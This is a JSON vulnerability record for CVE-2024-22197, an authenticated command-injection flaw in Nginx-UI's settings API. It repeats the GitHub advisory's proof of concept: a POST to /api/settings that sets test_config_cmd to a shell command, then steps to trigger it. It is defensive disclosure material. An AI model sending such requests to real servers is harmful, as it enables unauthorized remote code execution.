{"id":"CVE-2024-22197","aliases":["EUVD-2024-0396","GHSA-pxmr-q2x3-9x9m","GO-2024-2464"],"status":"published","title":"Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)","description":"Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The `Home \u003e Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.","severity":{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.01537,"percentile":0.75189,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-77"],"published":"2024-01-11T16:30:29Z","modified":"2026-11-11T10:31:10Z","fixes":[{"ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","fixed_in":["1.9.10-0.20231219184941-827e76c46e63"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.10-0.20231219184941-827e76c46e63"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.9.10-0.20231219184941-827e76c46e63"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.9.10-0.20231219184941-827e76c46e63"}]}]}],"products":[{"vendor":"0xjacky","product":"nginx-ui"},{"vendor":"nginxui","product":"nginx_ui"}],"references":[{"url":"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13","tags":["web"]},{"url":"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18","tags":["web"]},{"url":"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22197","tags":["advisory"]},{"url":"https://pkg.go.dev/vuln/GO-2024-2464","tags":["web"]},{"url":"https://github.com/advisories/GHSA-pxmr-q2x3-9x9m","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/22xxx/CVE-2024-22197.json","tags":["advisory"]},{"url":"https://github.com/0xJacky/nginx-ui","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-22197","title":"Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)","description":"Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The `Home \u003e Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.","status":"published","published":"2024-01-11T17:56:11.865Z","modified":"2025-06-17T21:09:16.574Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:34:00.254134Z"}],"euvd":[{"id":"EUVD-2024-0396","description":"Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The `Home \u003e Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.","status":"published","published":"2024-01-11T17:56:11Z","modified":"2025-06-17T21:09:16Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T20:32:21.531807Z"}],"ghsa":[{"id":"GHSA-pxmr-q2x3-9x9m","title":"Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)","description":"### Summary\nThe `Home \u003e Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).\n```go\nfunc InitPrivateRouter(r *gin.RouterGroup) {\n    r.GET(\"settings\", GetSettings)\n    r.POST(\"settings\", SaveSettings)\n    ...\n}\n```\nThe [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.\nThe `SaveSettings` function is defined as follows:\n```go\nfunc SaveSettings(c *gin.Context) {\n    var json struct {\n        ...\n        Nginx  settings.Nginx  `json:\"nginx\"`\n        ...\n    }\n\n    ...\n\n    settings.NginxSettings = json.Nginx\n\n    ...\n\n    err := settings.Save()\n    ...\n}\n```\nThe `test_config_cmd` setting is stored as [`settings.NginxSettings.TestConfigCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/nginx.go#L8). When the application wants to test the nginx configuration, it uses the [`TestConf`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L26) function:\n```go\nfunc TestConf() (out string) {\n\tif settings.NginxSettings.TestConfigCmd != \"\" {\n\t\tout = execShell(settings.NginxSettings.TestConfigCmd)\n\n\t\treturn\n\t}\n\n\tout = execCommand(\"nginx\", \"-t\")\n\n\treturn\n}\n```\nThe [`execShell`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L8) function is defined as follows:\n```go\nfunc execShell(cmd string) (out string) {\n\tbytes, err := exec.Command(\"/bin/sh\", \"-c\", cmd).CombinedOutput()\n\tout = string(bytes)\n\tif err != nil {\n\t\tout += \" \" + err.Error()\n\t}\n\treturn\n}\n```\nWhere the `cmd` argument is user-controlled and is passed to `/bin/sh -c`.\nThis issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).\n\n#### Proof of Concept\n\u003e Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.\n1. Login as a newly created user.\n2. Send the following request to modify the settings with `\"test_config_cmd\":\"touch /tmp/pwned\"`.\n```http\nPOST /api/settings HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 528\nAuthorization: \u003c\u003cJWT TOKEN\u003e\nContent-Type: application/json\n\n{\"nginx\":{\"access_log_path\":\"\",\"error_log_path\":\"\",\"config_dir\":\"\",\"pid_path\":\"\",\"test_config_cmd\":\"touch /tmp/pwned\",\"reload_cmd\":\"\",\"restart_cmd\":\"\"},\"openai\":{\"base_url\":\"\",\"token\":\"\",\"proxy\":\"\",\"model\":\"\"},\"server\":{\"http_host\":\"0.0.0.0\",\"http_port\":\"9000\",\"run_mode\":\"debug\",\"jwt_secret\":\"foo\",\"node_secret\":\"foo\",\"http_challenge_port\":\"9180\",\"email\":\"foo\",\"database\":\"foo\",\"start_cmd\":\"\",\"ca_dir\":\"\",\"demo\":false,\"page_size\":10,\"github_proxy\":\"\"}}\n```\n3. Add a new site in `Home \u003e Manage Sites \u003e Add Site` with random data. The previously-modified `test_config_cmd` setting will be used [when the application tries to test the nginx configuration](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/sites/domain.go#L256).\n4. Verify that `/tmp/pwned` exists.\n```\n$ docker exec -it $(docker ps -q) ls -al /tmp\n-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned\n```\n\n### Impact\n\nThis issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.","status":"published","published":"2024-01-11T16:30:29Z","modified":"2026-07-06T19:12:20Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:40:39.314643Z"}],"nvd":[{"id":"CVE-2024-22197","description":"Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The `Home \u003e Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.","status":"published","published":"2024-01-11T18:15:45.14Z","modified":"2026-06-17T07:10:55.19Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T14:09:30.070039Z"}],"osv":[{"id":"CVE-2024-22197","title":"Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)","description":"Nginx-ui is online statistics for Server Indicators​​ Monitor CPU usage, memory usage, load average, and disk usage in real-time. The `Home \u003e Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API. This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure. This issue has been patched in version 2.0.0.beta.9.","status":"published","published":"2024-01-11T17:56:11.865Z","modified":"2026-11-11T10:31:10.700858642Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-77"],"updated_at":"2026-11-11T11:06:27.686945Z"},{"id":"GHSA-pxmr-q2x3-9x9m","title":"Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)","description":"### Summary\nThe `Home \u003e Preference` page exposes a small list of nginx settings such as `Nginx Access Log Path` and `Nginx Error Log Path`. However, the API also exposes `test_config_cmd`, `reload_cmd` and `restart_cmd`. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).\n```go\nfunc InitPrivateRouter(r *gin.RouterGroup) {\n    r.GET(\"settings\", GetSettings)\n    r.POST(\"settings\", SaveSettings)\n    ...\n}\n```\nThe [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.\nThe `SaveSettings` function is defined as follows:\n```go\nfunc SaveSettings(c *gin.Context) {\n    var json struct {\n        ...\n        Nginx  settings.Nginx  `json:\"nginx\"`\n        ...\n    }\n\n    ...\n\n    settings.NginxSettings = json.Nginx\n\n    ...\n\n    err := settings.Save()\n    ...\n}\n```\nThe `test_config_cmd` setting is stored as [`settings.NginxSettings.TestConfigCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/nginx.go#L8). When the application wants to test the nginx configuration, it uses the [`TestConf`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L26) function:\n```go\nfunc TestConf() (out string) {\n\tif settings.NginxSettings.TestConfigCmd != \"\" {\n\t\tout = execShell(settings.NginxSettings.TestConfigCmd)\n\n\t\treturn\n\t}\n\n\tout = execCommand(\"nginx\", \"-t\")\n\n\treturn\n}\n```\nThe [`execShell`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/nginx/nginx.go#L8) function is defined as follows:\n```go\nfunc execShell(cmd string) (out string) {\n\tbytes, err := exec.Command(\"/bin/sh\", \"-c\", cmd).CombinedOutput()\n\tout = string(bytes)\n\tif err != nil {\n\t\tout += \" \" + err.Error()\n\t}\n\treturn\n}\n```\nWhere the `cmd` argument is user-controlled and is passed to `/bin/sh -c`.\nThis issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).\n\n#### Proof of Concept\n\u003e Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.\n1. Login as a newly created user.\n2. Send the following request to modify the settings with `\"test_config_cmd\":\"touch /tmp/pwned\"`.\n```http\nPOST /api/settings HTTP/1.1\nHost: 127.0.0.1:8080\nContent-Length: 528\nAuthorization: \u003c\u003cJWT TOKEN\u003e\nContent-Type: application/json\n\n{\"nginx\":{\"access_log_path\":\"\",\"error_log_path\":\"\",\"config_dir\":\"\",\"pid_path\":\"\",\"test_config_cmd\":\"touch /tmp/pwned\",\"reload_cmd\":\"\",\"restart_cmd\":\"\"},\"openai\":{\"base_url\":\"\",\"token\":\"\",\"proxy\":\"\",\"model\":\"\"},\"server\":{\"http_host\":\"0.0.0.0\",\"http_port\":\"9000\",\"run_mode\":\"debug\",\"jwt_secret\":\"foo\",\"node_secret\":\"foo\",\"http_challenge_port\":\"9180\",\"email\":\"foo\",\"database\":\"foo\",\"start_cmd\":\"\",\"ca_dir\":\"\",\"demo\":false,\"page_size\":10,\"github_proxy\":\"\"}}\n```\n3. Add a new site in `Home \u003e Manage Sites \u003e Add Site` with random data. The previously-modified `test_config_cmd` setting will be used [when the application tries to test the nginx configuration](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/sites/domain.go#L256).\n4. Verify that `/tmp/pwned` exists.\n```\n$ docker exec -it $(docker ps -q) ls -al /tmp\n-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned\n```\n\n### Impact\n\nThis issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.","status":"published","published":"2024-01-11T16:30:29Z","modified":"2026-07-06T19:15:08.130852693Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-77"],"updated_at":"2026-11-02T15:46:53.700556Z"},{"id":"GO-2024-2464","title":"Remote command execution in github.com/0xJacky/Nginx-UI","description":"Remote command execution in github.com/0xJacky/Nginx-UI","status":"published","published":"2024-01-17T19:06:44Z","modified":"2024-05-20T16:03:47Z","updated_at":"2026-11-02T15:47:01.185262Z"}]}}